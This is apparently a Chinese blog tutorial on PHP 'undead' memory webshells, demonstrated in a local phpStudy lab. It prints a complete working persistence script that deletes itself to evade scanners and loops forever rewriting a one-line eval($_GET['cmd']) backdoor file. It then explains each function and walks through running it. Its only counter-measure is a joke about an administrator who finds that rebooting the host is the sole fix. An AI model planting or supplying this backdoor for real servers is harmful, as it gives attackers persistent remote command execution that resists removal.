实验环境工具
phpstudy
一、内存马概念
内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码
二、不死马剖析
test.php
:
<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_GET["cmd"]);?>';file_put_contents("index2.php", $content);usleep(10000);}
?>
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)file_put_contents函数:将一个字符串写入该文件中usleep函数:延迟执行当前脚本数微秒,即条件竞争
1.1 unlink(FILE)
在PHP中,unlink(__FILE__)
是一个用于删除当前文件的函数调用。
__FILE__
是一个常量,存储了当前文件的绝对路径和文件名。
当执行 unlink(__FILE__)
时,它会尝试删除包含这个代码的文件。
换句话说,它会删除当前正在执行的 PHP 文件。
这个函数的作用类似于在操作系统中手动删除一个文件。
需要特别注意的是,执行 unlink(FILE) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。
相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。
三、执行内存马
访问内存马地址(这里我是在本地的8080端口开放的服务) ”http://localhost/test.php
“,发现页面开始加载。
访问内存马释放的后门文件index2.php
并执行phpinfo函数发现执行成功,原有的后门文件已经被删除
index2.php
:
<?php
echo "hello,world"
?>
最终index2.php
变成了这样:
不出意外的话,网络管理员小李发现了这一异常,拿出360杀软一顿酷酷检查,最终发现了木马,一键查杀,就在感慨岁月静好的时候,发现木马一闪一闪亮晶晶,怀疑自己是不是吃了啥菌,出现幻觉了,这就是正宗的,如假包换的,地地道道的内存马
,根本轻易杀不死。
那怎么办呢,小李这时候想着怎么水报告呢,根本无从下手,就搜了一下,经过一顿翻阅,发现可以重启主机,可以解决内存马的问题。
等等,我们都忘记了远在网络另一头的hack,那么接下来跟随我的视角,给大家报道一下hack的情况吧。
hack那边也是断断续续的,一会可以访问,一会不可以访问的。
好了,今天的内容就水完了。
我们明天见